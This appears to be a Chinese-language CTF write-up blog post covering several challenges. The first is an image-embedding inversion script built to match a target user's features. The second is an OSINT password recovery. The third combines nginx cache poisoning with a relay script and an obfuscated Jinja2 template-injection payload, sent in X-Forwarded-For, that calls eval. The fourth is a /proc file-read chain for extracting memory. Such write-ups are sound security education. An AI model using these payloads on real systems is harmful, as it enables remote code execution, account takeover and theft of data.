optimizer = Adam([generated_image], lr=0.01)

num_steps = 1000
target_loss = 5e-6 

def closure():
    optimizer.zero_grad()
    submit_embedding = feature_extractor(generated_image)
    loss = torch.mean((submit_embedding - user_embedding) ** 2)
    loss.backward()
    return loss

for step in range(num_steps):
    optimizer.step(closure)
    
    # 限制像素值在 [0, 1] 范围内
    with torch.no_grad():
        generated_image.clamp_(0, 1)
    
    with torch.no_grad():
        submit_embedding = feature_extractor(generated_image)
        loss = torch.mean((submit_embedding - user_embedding) ** 2)
    
    if step % 50 == 0:
        print(f"Step {step}, Loss: {loss.item()}")
    
    if loss.item() < target_loss:
        print(f"Reached target loss at step {step}")
        break

# 转换为 PIL 图像并保存为 PNG(无损格式)
to_pil = transforms.ToPILImage()
generated_image_pil = to_pil(generated_image.squeeze(0))
generated_image_pil.save("generated_image.png", format="PNG")

with torch.no_grad():
    transform = transforms.ToTensor()
    generated_image_tensor = transform(generated_image_pil).unsqueeze(0)
    submit_embedding = feature_extractor(generated_image_tensor)
    final_loss = torch.mean((submit_embedding - user_embedding) ** 2)
    print(f"Final local validation loss: {final_loss.item()}")
    if final_loss.item() < target_loss:
        print("Generated image meets the loss threshold!")
    else:
        print(f"Warning: Generated image does not meet the loss threshold ({target_loss}).")

WEB

赛博侦探

打开题目是个朋友圈,主页没发现什么有用的东西,每个链接都点一点

在 bilibili 视频链接后找到了找回密码的 url

http://61.147.171.103/secret/find_my_password

在小说 docx 作者找到邮箱:

根据图一位置可以确定经纬度:

飞机票可以找到老家和英文名:

找回后

目录穿越

best_profile

nginx 对于静态文件的缓存利用,注册一个.js 这种静态文件后缀的用户就会在第一次被访问之后缓存,先在/get_last_ip/路由有正确的恶意 ip 后访问写进去,后续请求不走后端,读缓存

最后本地起一个测试环境转接到 fenjing 上面输出 poc

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
from flask import Flask, request, render_template_string
import re
import requests
import os

app = Flask(__name__)

@app.route("/template", methods=["GET", "POST"])
def template():
    cache_dir = "/cache"
    if os.path.exists(cache_dir):
        for f in os.listdir(cache_dir):
            file_path = os.path.join(cache_dir, f)
            try:
                if os.path.isfile(file_path):
                    os.remove(file_path)
                elif os.path.isdir(file_path):
                    import shutil
                    shutil.rmtree(file_path)
            except Exception as e:
                print(f"Error deleting {file_path}: {e}")

    if request.method == "GET":
        return '''
        <form method="post">
            <input name="code" placeholder="Enter Jinja2 template">
            <button type="submit">Run</button>
        </form>
        '''

    template_code = request.form.get("code", "")

    import requests

# === 配置 ===
    session_cookie = ".eJwlzrsNwzAMBcBdVKegqB_pZQyJfETS2nEVZPcYyAAH3CftceB8pu19XHik_eVpS8acXYGmZY7gJqYVBdkj1K3NrCMaT4puwx1cPAvVZV0EWds0wRy5SBssDqgO8qIBvWXAqIc4E5UlxFYRmEWirk6oo-cq6Y5cJ47_pqfvDxXwL_4.aHLZWw.pRBOKD7wLAv_HPBhI84kOH1yiUc" 
    payload = template_code

    headers = {
        "Cookie": f"session={session_cookie}",
        "X-Forwarded-For": payload
    }

    url1 = "http://172.22.33.254/489.js"
    url2 = "http://172.22.33.254/get_last_ip/489.js"
    url3 = "http://172.22.33.254/ip_detail/489.js"

    res1 = requests.get(url1, headers=headers)

    res2 = requests.get(url2, headers={"Cookie": f"session={session_cookie}"})

    # res3 = requests.get(url3, headers={"Cookie": f"session={session_cookie}"})
    content = res2.text
    result = match = re.search(r"<p>(.*?)</p>", content, re.S)
    if not match:
        return "No <p> found!"
    extracted = match.group(1)

    # === 把提取到的做二次 Jinja2 渲染 ===
    result = render_template_string(extracted)

    return result

if __name__ == "__main__":
    app.run(port=5001, debug=True)
1
X-Forwarded-For: <strong>{ {</strong>_1919.__eq__.__globals__.__builtins__.<strong>eval((</strong><strong>lipsum|escape|batch</strong><strong>(</strong><strong>22</strong><strong>)</strong><strong>|first|last</strong><strong>)</strong><strong>+</strong><strong>(</strong><strong>lipsum|escape|batch</strong><strong>(</strong><strong>22</strong><strong>)</strong><strong>|first|last</strong><strong>)</strong><strong>+e|pprint|lower|batch</strong><strong>(</strong><strong>6</strong><strong>)</strong><strong>|first|last+x|map|string|batch</strong><strong>(</strong><strong>27</strong><strong>)</strong><strong>|first|last+x|map|string|batch</strong><strong>(</strong><strong>29</strong><strong>)</strong><strong>|first|last+e|slice</strong><strong>(</strong><strong>9</strong><strong>)</strong><strong>|string|batch</strong><strong>(</strong><strong>9</strong><strong>)</strong><strong>|first|last+e|slice</strong><strong>(</strong><strong>6</strong><strong>)</strong><strong>|string|batch</strong><strong>(</strong><strong>6</strong><strong>)</strong><strong>|first|last+e|slice</strong><strong>(</strong><strong>8</strong><strong>)</strong><strong>|string|batch</strong><strong>(</strong><strong>8</strong><strong>)</strong><strong>|first|last+</strong><strong>(</strong><strong>lipsum|escape|batch</strong><strong>(</strong><strong>22</strong><strong>)</strong><strong>|first|last</strong><strong>)</strong><strong>+</strong><strong>(</strong><strong>lipsum|escape|batch</strong><strong>(</strong><strong>22</strong><strong>)</strong><strong>|first|last</strong><strong>)</strong><strong>+</strong><strong>()</strong><strong>|e|list|batch</strong><strong>(</strong><strong>1</strong><strong>)</strong><strong>|first|last+cycler.__name__|pprint|list|batch</strong><strong>(</strong><strong>1</strong><strong>)</strong><strong>|first|last+e|slice</strong><strong>(</strong><strong>9</strong><strong>)</strong><strong>|string|batch</strong><strong>(</strong><strong>9</strong><strong>)</strong><strong>|first|last+e|slice</strong><strong>(</strong><strong>19</strong><strong>)</strong><strong>|string|batch</strong><strong>(</strong><strong>19</strong><strong>)</strong><strong>|first|last+cycler.__name__|pprint|list|batch</strong><strong>(</strong><strong>1</strong><strong>)</strong><strong>|first|last+</strong><strong>()</strong><strong>|e|list|batch</strong><strong>(</strong><strong>2</strong><strong>)</strong><strong>|first|last+cycler|e|list|batch</strong><strong>(</strong><strong>22</strong><strong>)</strong><strong>|first|last+x|map|string|batch</strong><strong>(</strong><strong>29</strong><strong>)</strong><strong>|first|last+e|slice</strong><strong>(</strong><strong>9</strong><strong>)</strong><strong>|string|batch</strong><strong>(</strong><strong>9</strong><strong>)</strong><strong>|first|last+x|map|string|batch</strong><strong>(</strong><strong>29</strong><strong>)</strong><strong>|first|last+e|pprint|lower|batch</strong><strong>(</strong><strong>4</strong><strong>)</strong><strong>|first|last+e|pprint|lower|batch</strong><strong>(</strong><strong>2</strong><strong>)</strong><strong>|first|last+</strong><strong>()</strong><strong>|e|list|batch</strong><strong>(</strong><strong>1</strong><strong>)</strong><strong>|first|last+cycler.__name__|pprint|list|batch</strong><strong>(</strong><strong>1</strong><strong>)</strong><strong>|first|last+e|slice</strong><strong>(</strong><strong>16</strong><strong>)</strong><strong>|string|batch</strong><strong>(</strong><strong>16</strong><strong>)</strong><strong>|first|last+e|slice</strong><strong>(</strong><strong>7</strong><strong>)</strong><strong>|string|batch</strong><strong>(</strong><strong>7</strong><strong>)</strong><strong>|first|last+e|slice</strong><strong>(</strong><strong>8</strong><strong>)</strong><strong>|string|batch</strong><strong>(</strong><strong>8</strong><strong>)</strong><strong>|first|last+e|slice</strong><strong>(</strong><strong>11</strong><strong>)</strong><strong>|string|batch</strong><strong>(</strong><strong>11</strong><strong>)</strong><strong>|first|last+cycler.__doc__[697]+e|pprint|lower|batch</strong><strong>(</strong><strong>5</strong><strong>)</strong><strong>|first|last+e|slice</strong><strong>(</strong><strong>28</strong><strong>)</strong><strong>|string|batch</strong><strong>(</strong><strong>28</strong><strong>)</strong><strong>|first|last+e|slice</strong><strong>(</strong><strong>7</strong><strong>)</strong><strong>|string|batch</strong><strong>(</strong><strong>7</strong><strong>)</strong><strong>|first|last+e|slice</strong><strong>(</strong><strong>2</strong><strong>)</strong><strong>|string|batch</strong><strong>(</strong><strong>2</strong><strong>)</strong><strong>|first|last+cycler.__name__|pprint|list|batch</strong><strong>(</strong><strong>1</strong><strong>)</strong><strong>|first|last+</strong><strong>()</strong><strong>|e|list|batch</strong><strong>(</strong><strong>2</strong><strong>)</strong><strong>|first|last+cycler|e|list|batch</strong><strong>(</strong><strong>22</strong><strong>)</strong><strong>|first|last+e|slice</strong><strong>(</strong><strong>6</strong><strong>)</strong><strong>|string|batch</strong><strong>(</strong><strong>6</strong><strong>)</strong><strong>|first|last+e|pprint|lower|batch</strong><strong>(</strong><strong>4</strong><strong>)</strong><strong>|first|last+e|slice</strong><strong>(</strong><strong>7</strong><strong>)</strong><strong>|string|batch</strong><strong>(</strong><strong>7</strong><strong>)</strong><strong>|first|last+e|pprint|lower|batch</strong><strong>(</strong><strong>3</strong><strong>)</strong><strong>|first|last+</strong><strong>()</strong><strong>|e|list|batch</strong><strong>(</strong><strong>1</strong><strong>)</strong><strong>|first|last+</strong><strong>()</strong><strong>|e|list|batch</strong><strong>(</strong><strong>2</strong><strong>)</strong><strong>|first|last</strong><strong>)} }</strong>

gateway_advance

local args = ngx.req.get_uri_args() 在请求参数过多时会出现解析问题,一般的默认长度为 100

任意文件读取下,关闭了 flag 的读取但是没关 passwd 的,会残留 fd,本地有个 fd10 但是读不出来,尝试遍历读取

因为会检测是否出现 password 关键词所以需要分段输出,每六个一组

读一下 maps,有个删除的地址

最后在 mem 中读取到 flag

Licensed under CC BY-NC-SA 4.0
使用 Hugo 构建
主题 StackJimmy 设计